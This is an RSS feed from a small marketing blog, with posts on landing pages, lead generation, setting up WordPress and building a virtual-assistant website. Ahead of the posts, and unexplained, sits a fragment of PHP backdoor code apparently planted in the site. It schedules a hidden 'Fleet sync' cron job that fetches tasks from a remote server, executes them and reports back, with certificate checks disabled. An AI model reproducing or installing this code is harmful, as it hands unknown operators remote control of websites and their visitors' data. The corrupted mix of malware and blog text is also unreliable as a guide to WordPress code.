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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Website Archives - Social Media Dudes https://socialmediadudes.com/category/website/ Sun, 17 Jan 2021 13:52:42 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Website Archives - Social Media Dudes https://socialmediadudes.com/category/website/ 32 32 How to Showcase Your Products and Services on Landing Pages https://socialmediadudes.com/how-to-showcase-your-products-and-services-on-landing-pages/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-showcase-your-products-and-services-on-landing-pages Sat, 23 Jan 2021 06:48:00 +0000 https://socialmediadudes.com/?p=1053 The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> Many marketers set up email, advertising or social media campaigns and direct their prospects and customers to the landing pages of their website. However, if you don’t properly showcase your products and services on your landing page, those pages don’t convert.  And that means you might as well throw money right down the drain. It is simply a waste of hard-earned marketing dollars.

The purpose of a website page is to display general information about your business and your products and services. Each page has several links encouraging the visitor to explore. This is why landing pages are so significant. There are mainly 2 types: lead generation pages allow you to collect email addresses in order to launch a nurturing program and informative pages, on the other hand, aim to provide enough information about a product or service to encourage the purchase.

Landing pages can also be used for event or webinar registrations, newsletter subscriptions, content downloads or any other marketing initiative.

A landing page is created for one goal, one post, and one potential click. Remove all distractions so your visitors have a clear view of the action to be taken. Create a landing page for each campaign with a specific objective.

A successful page takes more than putting together some pretty pictures, some text, and a call to action. Think about your goal, your strategy, add a little creativity and make sure to monitor your performance indicators.

What is a landing page for and what is it for?

A landing page is mainly used in the context of an advertising campaign. It is, therefore, a page specifically created to welcome your visitor and quickly strengthen the offer you are advertising.

If the visitor is on this page, your ad has piqued their interest. It, therefore, remains to complete the argument and finish convincing him.

A landing page is essential to the success of your campaign

The major goal of a landing page is adaptation. All the elements of this page must therefore be designed in order to get the Internet user to take a defined action: buy a product or a service, subscribe to a newsletter, fill out a form, watch a video, etc… It is therefore essential to clearly define your objective before starting the design.

Even today, I too often hear goals based on the number of visitors. A landing page will be a success if your target engages. Even if you manage to get your page to 10,000 people, if you convert 2, it will be a failure.

Why?

For a page to be displayed in the results of a search in search engines like Google, the text that composes it must be considered relevant to the research.
Basically, if you want your site to show up when someone searches for the term “Home Spirit sofa”, you need to have a page that talks about Home Spirit sofas. It’s the minimum.

The basics: characteristics of a sales page that converts

In theory, creating a sales page should be pretty straightforward. The goal? Provide enough information to the customer to persuade them of the effectiveness of your product and allow them to justify their purchasing decision. Rosara Joseph, a content strategy expert at Venture Web, elaborates:

“The ultimate goal of your sales pages should be to give visitors confidence and provide all the information required to make an informed buying decision and make the process as smooth as possible.”

At this point, you probably need some practical information to get a better idea of ​​things.

Here are 4 tips for creating landing pages that convert.

1.   Create a good first impression!

Did you know that it only takes about 50 milliseconds (0.05 seconds) for a human to form an opinion on your website? This means that your overall design, structure, colors, font, spacing and amount of text should be developed with short intervals of visitor attention in mind.

When it comes to landing page design, clean and elegant are goals to achieve. Don’t fill every empty space on your page with text and graphics. Keep it simple and clutter-free. Remember, you want visitors to remember ONE message and take ONE action.

2.   Use a simple and interesting message!

Landing pages are not the right place to display all your different promotions or try to quote all the possible and imaginable features and benefits of a product.

Match your message – that is, your headlines, writings and calls to action – with the precise intent of the visitor. For example, if a visitor clicked on an ad to get an eBook, promote the value of that book.

What will the visitor get from his reading? Compelling text is key, no matter how spectacular your design is. Pique the reader’s curiosity with an inspiring or intriguing headline. The body of the text must be relevant, clear and oriented towards solutions. Avoid using “we” and focus it all on “you”.

3.   Limit content above the waterline!

Although some experts claim that people hate scrolling a page, this is not necessarily true. Evidence to the contrary exists everywhere. People have no problem scrolling if the page is designed for it and the content is eye-catching.

That being said, above the waterline is still the place readers will go first. Make sure to include a headline, subhead, call to action and a strong image to engage visitors. You can always add benefits and recommendations later in your page.

4.   Use calls to action!

If you add multiple links and buttons, visitors will inevitably be attracted by the call-to-action. Ideally, use two to three calls to action on your page. However, give readers only one option: subscribe, subscribe, download, buy, etc. Make sure the button text is clear. Now is not the time to show that you know the more complex words in the dictionary.

Indeed, make sure that what will happen after the click is clear, both from the point of view of the design and the message. For example, if the call to action indicates registering for a webinar, the next page and/or email should detail the next steps and include the date and time as well as the link to log in. Make the process as easy as possible so that visitors are rewarded for their action with an enjoyable, hassle-free experience.

Your landing pages have a big impact on the success of your overall marketing campaigns. After all, you invest a lot of resources in attracting leads and upselling your existing customers. Encouraging these initiatives with attractive landing pages can only be beneficial.

 

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]]> How to Generate High Quality Leads For Your Website https://socialmediadudes.com/generate-high-quality-leads-for-your-website/?utm_source=rss&utm_medium=rss&utm_campaign=generate-high-quality-leads-for-your-website Sun, 15 Nov 2020 19:00:00 +0000 https://socialmediadudes.com/?p=1030 The post How to Generate High Quality Leads For Your Website appeared first on Social Media Dudes.

]]> You have a brand-new website for your business that you want to let the world know about you.  You followed that up by creating your profiles on social networks. All you need to do now is get in touch with people interested to potentially buy your merchandise and/or services. The purpose of a lead generation strategy is everything. You won’t have clients if you don’t have leads.  Leads are the lifeblood of every business. Still the question you ask yourself is “How do I generate high quality leads from my website?”

Let’s see what lead generation is, its components and how you go about setting up an effective lead generation strategy.

What is lead generation?

Lead generation is an integral part of an inbound marketing strategy, the objective of which is to naturally attract a user to your site by offering them targeted and relevant offers.

First, let’s talk about the basics of leads and lead generation. A lead is a source from which you have effectively received information (could be email, phone or other data) and who has a particular interest in your business. The generation of leads corresponds to all the actions and marketing techniques put in place to obtain information from potential prospects.

These marketing actions and techniques will create a process that will attract the lead to your conversion funnel. For this, it will be necessary to rely on various web marketing techniques such as the production of premium content and resources, linking strategy, emailing, social networks, as well as your blog.

It should also be noted that there is a level of “test & learn” involved in developing an accurate and efficient lead generation process. Indeed, you can establish a conversion funnel by testing and retesting, which will allow you to generate leads systematically. The goal will then be to transform leads into customers.

How to generate leads?

To generate leads, you have to rely on various web-marketing techniques. The goal is to make you visible to prospects, offer quality content that meets their needs, demonstrates you are an expert in your niche and that resonate with your approach.

Begin by setting up a conversion path (often referred to as a funnel). The foundation can be your content but might start by providing what is called a “lead magnet”.  A lead magnet is something of value that you are willing to provide for free in exchange for the prospect providing information (such as email address, phone number, etc)

The goal is to bring the lead into your funnel until their information is captured. If they provide their data to you, it is because the prospect is interested in what you sell/market.  Lead magnets typically don’t “qualify” the prospect as a true buyer, but more of an “interested” nature.  It is up to you to further qualify them by leading them through your funnel.  This is done with subsequent emails and offerings that will help you determine exactly where their interest is and whether you have a “hot” lead or not.

Lead generation: the techniques and tools

  • Generate leads with content: it is vital to have feature content to attract your target. Without content, you can’t do anything. This is why you must define a content strategy adapted to your target: computer graphics, video, white paper, e-book, blog articles… an editorial line and set up a publication calendar.
  • SEO: making content is better, but it’s even best if it’s optimized. It must be referenced for the material to be available on the internet. SEO optimization is key. Your keywords, backlinks, meta title and description have to be worked on.
  • Social networks: It is important to create a community on social networks in order to get more traffic. This will help you to distribute and enhance your reputation with your content.
  • Online advertising: it’s an effective technique when you need to get traffic quickly. Using paid search or advertising on social networks will allow you to distribute your content.
  • Emailing: When you know your target and your contact base is well segmented, the use of email is powerful for producing leads. The advantage is to be able to send personalized content.

By relying on these main techniques, not only do you generate traffic to your site, but you also gain visibility. And with the right content at every stage of your conversion funnel, you make sure you’re generating leads.

The main measures for a good strategy of lead generation

For a good lead generation approach, what are the key steps and essential points to consider? Here are the primary ones.

Step 1 – Review your target demographic

A good lead generation approach starts by identifying the target demographic/persona you are trying to attract. If you don’t know your target, you run the risk of targeting the wrong people, so they won’t qualify. To get good leads, you have to work on your buyers’ personas. It is by knowing their purchasing behavior and criteria, their purchasing process, their objections and objectives, etc. that you can provide appropriate content.

Stage 2-Identifying the goals of your conversion and lead generation campaign

You need to be specific on the objectives for conversion. Not all leads are designed to end up as a sale.  You may want to attract people to a webinar, brand awareness, introduce a new product or service, or to be seen as a subject matter expert.  You will need to determine when a visitor has turned into a lead. To be called a lead, what action must the visitor take on your site?

Your campaign priorities for lead generation should also be established. How many visitors for conversion do you need? What is the number of new customers that are expected?

To define your goals, you can rely on SMART goals (specific, measurable, acceptable, realistic and time-bound).

Step 3 – Have a content strategy

To generate leads, a content strategy is essential! As we saw above, content helps attract visitors to your site and respond to their issues. Certain “premium” content such as white papers for example helps to ensure your notoriety and expertise in your field.

Do not forget the distribution of your content via social networks, emailing, and advertising to gain visibility and make yourself known.

Step 4 – Work in collaboration with your sales teams

Leads come more naturally when there is an alignment between content and sales campaign efforts.  Your results will not be as good if all of your content is on a different area of your business than the type of lead you desire.

Some people grade leads on a more granular level than cold or hot.  This applies to the allocation of points during the implementation of lead scoring for example. This is best done by creating that funnel that naturally grades people to their level of interest and buying likelihood.

Step 5 – Performance Analysis

Finally, do not neglect the performance analysis of your lead generation campaign. If your goals aren’t living up to your expectations and aren’t being met, don’t worry. To generate leads effectively, you have to test and retest your conversion tunnel, set up the one that will generate more leads and refine your buyers’ personas according to the latest data collected.

To finalize the conversion, drive visitors to a dedicated Landing (“squeeze”) page

A clear landing page is a place in its own right, where the conversion of a lead takes place. The landing page is a page on your site where you present your lead magnet in exchange for their information. Your landing page should be focused on one thing only, getting the visitor to provide their info.  So, you want to create a page that creates a positive experience for your reader by offering high added-value information such as a white paper, infographic or an expert report.

It has an essential role, which must be looked after.

A single purpose page

The first rule of an optimal landing page is its centralization/concentration on a single subject and a single action offered to your audience. In order not to scatter your future lead, it only establishes one clearly presented proposal that is linked to a coherent CTA (Call To Action).

Through its writing, the landing page must allow readers not to be distracted by facts other than that of discovering the interest of the offer proposed. Each of your campaigns brings traffic that the landing page will convert into Lead. It is advisable to create a landing page for each operation.

Landing pages are living and are subject to constant changes in order to optimize as high a conversion rate as possible. The more your landing page will be optimized, clear and relevant, the more likely you will be to generate qualified leads.

A page with strategic characteristics

A successful landing page is one that keeps the message consistent and that the offer delivers on its’ promise. Like the CTA guiding on the landing page, it must have several characteristics to maximize lead generation:

  • The main title, a crucial element that clearly sets out the subject and the general benefit
  • A subtitle, in reinforcement, which offers more information on the content offered
  • A visual of the content, to have a clear idea of ​​the gain
  • A concise description of the benefits
  • A form comprising only the fields that are necessary for you to qualify your prospects

After clicking on your CTA for more information on a topic they’re interested in, they will be taken to a landing page. It is designed to tell them about premium content, with clarity and simplicity, and to invite them to enter their contact details if they wish to download the content.

55% more leads are what companies observe when they go from 10 to 15 landing pages. (HubSpot)

Quite simply because companies that generate 60% of their leads online will grow 4 times faster than those that do not have a lead generation strategy. (HingeMarketing)

The action of generating Leads represents the desire to attract and convert anonymous visitors into qualified prospects. It’s a complex and strategic process that every good marketer must put in place.

Your Takeaway…

Leads are the lifeblood of any business.  They are the foundation of your business’ success and growth.  Creating compelling content that converts visitors into leads sounds simple, but in fact is a challenge.  If creating content that is going to attract the right visitors to your site, check out our content generation service.

Creating content that is valuable to visitors is only part of the equation of generating leads.  Consider it the supporting link.  You will need a lead magnet that has so much value that visitors will want to provide you their information in order to have it.  You will present your lead magnet offer on a landing page. Landing pages have one purpose.  They tell the visitor you understand their issues and that your lead magnet provides a solution.  It is of singular purpose only to get them to provide their data to get the value you are providing.

What are you doing to get your lead generation in swing for your business?  Leave a comment below.

 

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]]> WordPress Tutorial For Beginners 2020 [Made Easy] https://socialmediadudes.com/wordpress-tutorial-for-beginners-2020-made-easy/?utm_source=rss&utm_medium=rss&utm_campaign=wordpress-tutorial-for-beginners-2020-made-easy Sun, 11 Oct 2020 23:10:10 +0000 https://socialmediadudes.com/?p=1008 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.7″][et_pb_column _builder_version=”4.4.7″ type=”4_4″][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ hover_enabled=”0″] I’m going to be walking you through how to […]

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I’m going to be walking you through how to use WordPress and then ultimately, how to set up a cool website just like this one. If you are a do it yourselfer or just don’t have the funds to have a site created for you, I am going to show you the step by step process. Even if you have little or no experience making a website previously, you are going to be fine. 

Before we get started, I’m just going to cover a few things to give you a framework to work from.  Then, we will do the step by step process on how you can make a WordPress website. 

Hosting

Hosting of your is a concept that you may not be familiar with. It’s the place where all your content (blog posts, articles) are stored.  Included in that is all of your photos and videos and basically everything that’s on your website is stored there.  

When asked, I describe it to folks like this.  You are thinking of building a new home.  The first thing you do once you have to do is decide on the land you are going to build on.  You can’t build a house without the land to build it on.  I have used a variety of hosting services.  I currently use BlueHost.  The reason that I use them is based on studies done of all hosting services, they were the quickest in terms of page latency and had least downtime of all major providers. 

BlueHost has other features such as unlimited domain hosting (we will talk about domains in a minute), automatic WordPress installation and unlimited email addresses for free.  When I added the features to the performance, it was a no brainer to move to them.  Not to say that there aren’t other quality hosting services.  But I really like what BlueHost is doing.  By the way, you are getting all of that for less than $50 for the year!

Domain is your house address

Once you have secured the land (hosting), the next thing on the construction list is the domain. Think of the domain as your house address.  If your home is in the middle of the forest, it is hard to give directions to get there.  Domains such as this one (SocialMediaDudes.com) or others (SideHustleConnection.com or ShelbyandBailey.com) are your web address.

I use NameCheap and have used GoDaddy to purchase my domains.  By and large, the best practice is to have separate services for your domain and your hosting.  That being said, I have seen lots of my customers buy everything together.

Domain names can be a challenge these days, so create a list of possible domains that will work for you.  Try to keep it as short as possible (people may have to type that into their browser).  Your domain should give some indication of what you are about or the products/services you provide. 

Installing WordPress

Most hosting services provides 1 click installation of WordPress.  I have posted other articles on why I think you should use WordPress, but overall, the reasons are that it is user friendly and allows you to change the look of the site with one click of a button by changing the theme (more about that in a moment)  I am going to walk you through setting up WordPress on BlueHost.

Let’s get started.  On the left-hand menu, click on My Sites and then in blue box in the upper right-hand corner, click on “Create Site”.  That will bring you to a page that asks you “How would you like to build your website?”  Click on the “Use WordPress” box on the left side of the page.

WordPress is going to ask you some foundational questions such as the name of your site.  The name of your site may be different than your domain (and mostly likely is slightly different).  It will also ask you for a tag line.  Tag lines are akin to slogans.  These are optional and if provided, will show up on your website. Click on the submit button.

What comes up next is: “What domain do you want WordPress installed on?  There is a dropdown menu of all of your available domains (most people have more than one, but definitely not a requirement).  Select the domain you want to install WordPress on and click the Next button.

WordPress installed successfully!

Just as easy as that, WordPress is installed.  Your username/password is available here (and will also be emailed to you), so now let’s get started on finishing up your site!  Click on the “Login to WordPress” link.  This will automatically take you to your WordPress dashboard – and this is the place where you go whenever you want to edit your site!

A quick note:  the next time you want to make changes to your site, you are going to use your domain/wp-admin (example jpanico.com/wp-admin) 

You are ready!  Let’s Rock This Site!

Once you have logged into your site, the first thing we’re gonna do is install our theme. The theme is going to represent how your site looks and feels.  There are a ton of both free and paid themes out there.  My advice is to do a google search for the type of site you are.  In my example, I might do a search for:  free baked goods WordPress themes.   Don’t get overwhelmed with choosing the wrong theme.  One of the best features of a WordPress site is that you can change the entire look of your site by changing themes with just one click.  It is easy. 

A quick note.  Make sure that you are choosing Themes that are “responsive” (mobile device friendly)

On the left-hand menu, click on Appearance/Themes.  You will see there are some default themes there, but most likely you want something better.  Click on the “Add New Theme” + box.

If you found and downloaded a theme from the internet, click on the “Upload Theme” box at the top.  Otherwise, you might be better served by click on the Feature Filter and put in the subject, Features and Layout options that you are wanting your site to have.  Then put in a description in the Search themes box on the right.

Search through the themes, previewing the ones that catch your interest. Once you have found the theme you want, select it and click the Install button.  You may want to install multiple themes to compare.  You will need to click on the Activate button on the theme you want to use.  Changing themes is done by just activating a different theme.

Now that your theme has been installed, the next thing you may want to do is edit some of your site info. Most themes will have a Customize button where you can make edits to fonts, colors, Header images, Menus and Homepage settings.  Be sure that you save your changes.  While I want you to know where to do this, let’s wait for a minute because there are some things you will probably want to add before making all of the decisions.  That being said, you can edit things like fonts, Contact info and Social Media icon settings and then come back later. 

Get the basics set up!

On the left-hand menu, click on Settings.  Take a moment to look at these and make changes as necessary.  I am not going to take you through every setting, but there are a few that you are going to most likely want to change.

  • General – Timezone and Date/Time formats. If you don’t want your tagline showing up (maybe because it is part of your logo), remove it here.
  • Writing – Default Post Category – Categories are found under Posts/Categories. When you create a blog post, you can assign one or more categories to it.  What this allows a visitor to do is to find similar posts in the same category.  Think of the different subjects (categories) that you might be writing about and create them.  Don’t worry if the list is not complete.  You can always add new ones.  Select the Default Post Category here to save you time.
  • Reading – Most likely, this will be covered in your Theme customization, but things to consider are if you want the full text or a summary of your blog post to display.
  • Discussion – Determine if you want to have people comment on your site. If you do decide to do so, I would advise that you check “A comment is held for moderation” checkbox.  You don’t want people putting links on your site that are not appropriate.
  • Permalinks – I recommend that you use Post name. Makes it easier for search engines in general.  Can you do something a little more advanced?  Yes, but let’s walk before you run.
  • Privacy – To be clear, you need a privacy page. You will have to follow privacy laws.  You can use the default page or search the internet for something you are more comfortable with.  Take the time to review this. 

Set up your site pages

Before we generate site pages, let’s talk about the Media menu.  This is where your sites pictures and videos are held.  You can add any pics/videos you think you are going to use here.  Or you can add pictures to the Media library as you need them.

Let’s go to the Pages menu.  Under the All Pages selection, there is most likely a Sample and Privacy page.  We spoke above of addressing the Privacy page.  Here is where you are going to add pages such as:

  • About – Where you indicate about your business, how you got involved and maybe some background on yourself/family.
  • Contact Page – Give people wanting to reach out to you a way to contact with you. You may think to put your email address on your page, but you should also be prepared for a good bit of spam.  I am not saying to omit but know what you are getting yourself into.
  • Services/Products – Highlight the offerings that your business provides.
  • FAQ’s – Frequently Asked Questions pages help you to qualify your potential customer and minimize questions that are routinely thought of, but sometimes never asked.
  • Blog – Blogs are posted that are posted regularly that helps portray you as an expert in your field. Don’t sell yourself short here.  You are further ahead than other folks and they may just like your style/approach.

Create any pages you want and begin to populate it with content.  The beauty about using WordPress is that you can be working on these pages and keep them private until you are ready to “Publish”.  Don’t worry about the order of the pages just yet.  We are going to sequence them in a few minutes.  Use Page names to provide site visitors a clear understanding of where they are going.

Now that the pages have been created, let’s walk through how to enter content.  In the text block type (or copy and paste from a document you created) into the box.  Make changes to the Header/Paragraph level, what you want bolded, links to other parts of your site or to other sites, etc. You can easily add media by clicking on the + button and then Image, which will allow you to select a current picture/video or adding a new one.  When adding pictures, be aware of the size of the picture you are adding to the page as it will impact the speed.

To add media on the fly, click Change image and then you can just go here to upload files and then you pick your file. The title of your page is what is going to show up at the top on the site menu.

To sequence the pages in the order you want on your site, go to Appearance/Menus. Create a Menu Name and then select all of the Pages you want to display.  (Pages have to be “published” in order to show up here).  Once you select the pages, you are then able to put them into the order you want.  You can even do sub-menus if you like.  For example, you might have a Products page, but then have different pages for the types of products.  Baked goods/Cakes/Pies/etc If you want to rearrange them, you can just go move them up or down and then if you also want to put something in a subcategory, all you have to do is just move it to the right and that will make it into a subcategory.   

Blog posts

Blog posts can be a variety of post types (written, video or audio). We are just going to take baby steps here and create a written post.  On the menu, click Posts/Add New. You will need to add a Title (think search engine optimization), and then fill in the content in the same manner as you did on the pages.

Just filling in the content (and adding media) is not the end of the post. Be sure to add a Featured Image, select 1 or more Categories and add tags.  Tags are similar to Categories but are probably more finite.  More importantly, they play a big part in SEO and having you get found organically. 

Don’t forget Theme Customization

Let’s circle back to the Appearance or Theme Customizations to make any edits we need.  Some of these edits are going to be whether or not you have a Home page that has a slider, what pages those sliders will link to, whether or not you want to display blog posts (and how many) on your home page, etc.

Your Customizations may include a Footer page.  A Footer page is where you can provide consistent details about your site and might include a map location, contact information, site pages and other details. 

WordPress Plugins

Don’t think that just because you aren’t a total geek (you are making your own website, so you kind of are), that your website can’t have some cool functionality.  Plugins are bits of software that work with WordPress to either extend or expand on the functionality of your site.  Some act behind the scenes and some are more customer facing.  I will do a further post about plugins, but they can help you with SEO, make a contact form or so many other things.

To install a plugin, go to Plugins/Add new.  Search for a plugin (for example Yoast SEO), select it and then Activate it.  Some plugins need configured, so check on that to make sure you are getting the full benefit of what they are supposed to do.  If you have a plugin and decide not to use it, you can either deactivate it or delete it.

Anytime you want to see how your website looks like to the world, you can click at the top where the name of your site is.  A dropdown will display “Visit site”.  You can navigate your site, test out functionality and toggle back to the dashboard to make changes when you are ready. 

Launch your site!

You should be proud of yourself!  But keep in mind that all the work that has been done is not accessible to the public..yet!  You have pretty much been in preview mode as you have been steadily working to get your site ready.  In fact, if you gave anyone your website address, they would see “Coming Soon!”. 

But you are ready to have friends, family (and hopefully customers) see it.  On the Dashboard, at the top, you will see the link “launch your site”   It will then have you push one more button and your site is then live on the internet.

Congrats!  Job well done!

Your Takeaway…

A WordPress website for your business is something you can do.  You don’t have to be a super geek to have something you can be proud of.  So, if you have the time and patience (it will take a little of both) and your budget doesn’t provide for a professional, I will tell you it is better to have a site than not 100% of the time  (maybe with a few “qualified exceptions”)

But you CAN create a great looking website that people will want to do business with you if you take a little time to do it correctly.

However, I also want you to remember this.  We are decades past “build it and they will come”.  Websites need feeding of content that is updated consistently.  If you use good SEO tactics, you will attract an audience over time.  You will most likely need to promote your website by either doing some sort of advertising or through social media.  They both work.

Finally, if you don’t feel like you are up to the task, perhaps you have already started and the site isn’t looking like you want or maybe you have so many other things on your plate, that you want your website done by a pro, click here and let’s discuss your needs.  Consultations are free and I may be able to provide you a few tips/insights to get you there on your own.

Was this article helpful?  If so, please comment below.

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]]> The 10 Essential Elements For Your Virtual Assistant Website! https://socialmediadudes.com/virtual-assistant-website-for-beginners-top-10-essential-elements/?utm_source=rss&utm_medium=rss&utm_campaign=virtual-assistant-website-for-beginners-top-10-essential-elements Sat, 29 Aug 2020 06:39:00 +0000 https://socialmediadudes.com/?p=929 The post The 10 Essential Elements For Your Virtual Assistant Website! appeared first on Social Media Dudes.

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Virtual Assistant Website For Beginners – Top 10 Essential Elements!

Whether you are just starting your Virtual Assistant business or are looking to scale it to bigger heights, a website is one tool that is definitely a difference maker.  If you still aren’t sure you need one, read 10 Reasons Why Virtual Assistants Need A Website!  But for this post, let’s just agree you do in fact need a website for your Virtual Assistant (VA) business.

So, with that covered, let’s make sure your VA website has the essential components to make it stand out and to help build your business.  Here are the top 8 must haves for your VA website:

1 – The Right Platform – WordPress

Coming to the decision to have a website probably frayed some folks nerves to begin with.  But you are over that.  Keep that positive momentum going by selecting the right platform to build your website with.  You may be thinking to go with something that is easier. WordPress is now more user friendly than ever.  It won’t tie you to a developer as you want to either expand or make changes.  As tempting as other platforms (Square,  Wix, etc) may look, after a short learning curve, the WordPress platform most likely will serve you better.

Bottom line, you will have more options and have a better opportunity of having a website you can both be proud of and that will impress prospective customers by going with WordPress.

The other reason to use WordPress is that it is likely your clients will want you to have a working knowledge so you can do minor work on their site (post blogs, pics, post upcoming events, etc)

2 – Your Services Page

When you are just beginning your VA business journey, you tend to want (or at least “feel” you need) to be all things to all people.  That does you a dis-service. You need to understand who your Ideal Customer Avatar (ICA) is in order to best serve their needs.  As a virtual assistant, there are a myriad of services that you can provide to your ICA. What you don’t want to do is list every service that any VA offers because potential customers won’t believe you (unless you can provide some social proof described below)  If you can’t speak multiple languages, maybe offering translation services is not in your best interests.

What your Services Page does is to provide you an opportunity to show the things you can do and the verticals you can serve best.  You might have a real estate background, so you are able to put that knowledge forward to better help your clients.

So, what are the components that your Services Page should contain?

Detail the type of customer/vertical you are most likely to be successful with and who will benefit from the services you provide.  (If you do social media management, you might include that your company are Facebook/Instagrams ninjas who have had tremendous success working for start-up and small businesses who don’t have the time or inclination to take on this task themselves.  (The more story you tell, the easier it is to resonate with your offerings…because they are more likely to see themselves as wanting that help)

Now that you have listed the vertical segment of the types of customers you can help, let’s provide a listing of the services your VA business offers.

I am a HUGE believe in creating packages with prices.   I know some people are reluctant to do so, but I have found that most people are afraid of the unknown.  When I didn’t put prices on the site, people would say “I can’t afford you”  And they were so wrong.  So, I do now knowing that it does some prequalification of customers for me.  Is it possible that I lost some customers who I may have gotten otherwise?  Possibly.  But my approach to closing business is not high pressure.  This makes it easier for all parties to begin the conversation.

Is there an advantage to working with you?  In other words, what is the value proposition that you provide?  If there is something (experience, skill level, etc) that sets you apart from your competition, let prospective customers know about it.

Social proof – Do you have testimonials (video, emails, notes) from current/past customers that say what a great job you did?  Use them to your advantage her.

Pricing – while I spoke about pricing above, let people know that you can also create custom pricing for individual scenarios.

You need a call to action (CTA).  Include a call to action (click here for free 20 minute consultation, give me a call, send me an email, fill out this form, etc).  Instruct people what you want them to do next.

Is your website showing you and your VA business in the best possible light? – here everything that ALL websites should include! https://ctt.ac/6C6_v+ CLICK TO TWEET

3 – Readily Available Contact information

If you want customers to reach out to you, then they are going to need an easy way to do so. I can hear you right now.  “Thanks Captain Obvious!”  lol  But you would be amazed at how many sites don’t make this available at every opportunity! 

So, what am I really saying here is EVERY page of your site should provide a way for folks to reach out to you!  This could end up as a “Have a question” or Contact Us” in the footer of your site or could be in the body (or sometimes as you will see on my site, it is both)  This is in addition to having a Contact page that stands on its own that may provide more options to reach you.

So, that means using some sort of “contact form” module that will send an email to you when they submit. 

If you aren’t interested in getting a bunch of spam, putting your email address on the site is not advisable.

Provide every contact option that you can support (without going crazy).  Everyone has a different DNA for how they want to communicate.  Could be an email, phone call, skype/zoom meeting.  You might consider a google phone number that can alert you when someone calls.  Make it easy to do business with you and that begins with their ability to reach out.

4 – Photos/Videos of your team working

Prospects and customers resonate to sites that have either pictures or videos.  They like to see you in action and that you know what you are doing.  It goes to the “know/like/trust” factor that is not to be underestimated in gaining new clients.  Do, don’t disappoint them.  Take some pictures.  Not feeling comfortable with YOUR picture being taken.  Take more pictures.

Show potential customers that you and your team are friendly.  Better yet, include a video. 

OK, I get it.  Many of you are Solo business owners. If you feel like you don’t want every picture with you in it, consider including images of recognizable objects that are associated with your business.  If you specialize in working with law offices, perhaps an image of the legal scales of justice.  You get the idea.  Don’t go without photos/videos on your site.

 5 – About Page

Potential customers understand that many VA’s businesses are not huge.  So, in an effort to get a better understanding of who they might be doing business with potentially, they go to the About Page.  A lot of business owners in general either treat the About page as an afterthought or actually bypass it altogether.  Big mistake.  On all of my sites, my About Us page is one of the more visited pages on the site.

Use this page to tell your story.  It isn’t just to let folks know about you, but also how you use your skills to help your clients. The about page is about you, but it’s also about how you work with your potential clients.

I can hear you know.  John, I am not sure what to say.  Here are some things you might consider:

  • What makes you unique from other virtual assistants?
  • What do you bring to the table?
  • What led up to you doing this business?
  • Describe your ideal customer/vertical and why you have the skills to serve them better than your competitors.

Providing this will help you to hone your About page to attract new customers.

6 – A Blog with Amazing content

You provide amazing services that provide high value to your customers. What you want to do at this point is to have as many visitors to your website as possible that would be interested in your agency providing services. So, you want people to find you, but how does that happen?  How does your site come up in the search algorithm?  Simply said, it requires quality content that is provided on a consistent basis.  Google likes websites that are regularly updated. Content in its many forms demonstrates your subject matter expertise.  It can be written blog posts,  videos or podcasts. Something to keep in mind that you want to have the content reside on your site, so google and social media brings people back to you where they can find out more about the services you provide.  The result of this effort is that it builds relationships with your audience and prospective customers.  A blog is you’re the cheapest, most cost effective marketing that you can do! Here are some of the things that you may not have thought about a blog doing for you:

  • Provide a reference point for your social media postings
  • Effective communication network for your agency to allow others to post to other social networks
  • Insures that you are perceived as an expert in your niche

OK, I can hear you now….”John, I am convinced I need a blog, but I don’t have the time or the expertise to put together blog posts for my business.  I have you covered! I provide 1,500 word blog posts in a DFY approach for VA’s on a monthly basis that includes an infographic that is very economical.  Click here to find out more!

7 – Client Reviews / Testimonials

What happens when your customer needs your service, but you don’t have the time to build the know/like/trust factor?  We mentioned testimonials above but it deserves its own paragraph. Customer testimonials add content to your site and let’s other know that you add value to the services you provide!

Testimonials from real customers make prospects relate to their challenges and tell people who don’t know you that you can be trusted to do a great job.

They are actually easier to get than you may think.  Talk to your customers and ask if they would be willing to either write a few words about their experience with you or better yet a short video.

If you get a great google review, then let people know about it.

Finally, a word about case studies.  Let me just say this…case studies are powerful!  Potential clients want to know how you have helped past clients achieve their goals. By you putting together the story of what the challenge was (customer had serious data issues in getting their spread sheets into one file that made sense. Then tell how you approached it and what you did to provide the solution that the customer loved.  Having case studies on your website can help prospects feel more comfortable reaching out to you because they can see how much you’ve already helped other business owners.

Don’t overlook this if your VA business is just getting off of the ground and you don’t have the social proof to provide these types of opportunities (yet).  Don’t stress it! It’s perfectly fine to use past co-workers and bosses as your testimonials until you get your VA business up and going. You are probably doing many of the same things that you did for your bosses.  Just be transparent.  It will pay off long term.

8 – Frequently Asked Questions (FAQs)

There are several ways that providing a list of FAQ’s can help your business. But before we go there, let’s answer some FAQ’s about what they are as well as what they do:

  • A list of the most common questions that come up for your niche and type of work
  • Enhances the customer experience
  • They help people understand your business
  • They help you communicate the terms and conditions for doing business with you.
  • Increases sales because you have provided the basic information needed to go forward
